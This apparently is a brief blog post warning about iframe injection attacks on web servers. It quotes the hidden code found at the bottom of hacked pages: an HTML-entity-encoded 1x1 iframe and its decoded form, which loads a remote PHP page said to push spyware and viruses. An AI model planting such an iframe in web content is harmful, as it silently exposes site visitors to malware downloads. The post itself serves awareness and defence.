Hacked in the Green Zone

Iframe attacks are becoming very common as many websites are vulnerable.

The hackers in this case are not simply attacking the PC users but attacking the web servers themselves aka the "Green Zone".

See this article by Roger Grimes on March 21.

Typically all pages at the hacked website will include code at the bottom of each page similar to this:

<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;"
width=1 height=1></iframe>

which translates into something like this on the users computer:

<iframe src="http://cdpuvbhfzz.com/dl/adv598.php"
width=1 height=1></iframe>

When an unsuspecting user clicks on a trusted website he downloads spyware, viruses, etc as described in this article at CastleCops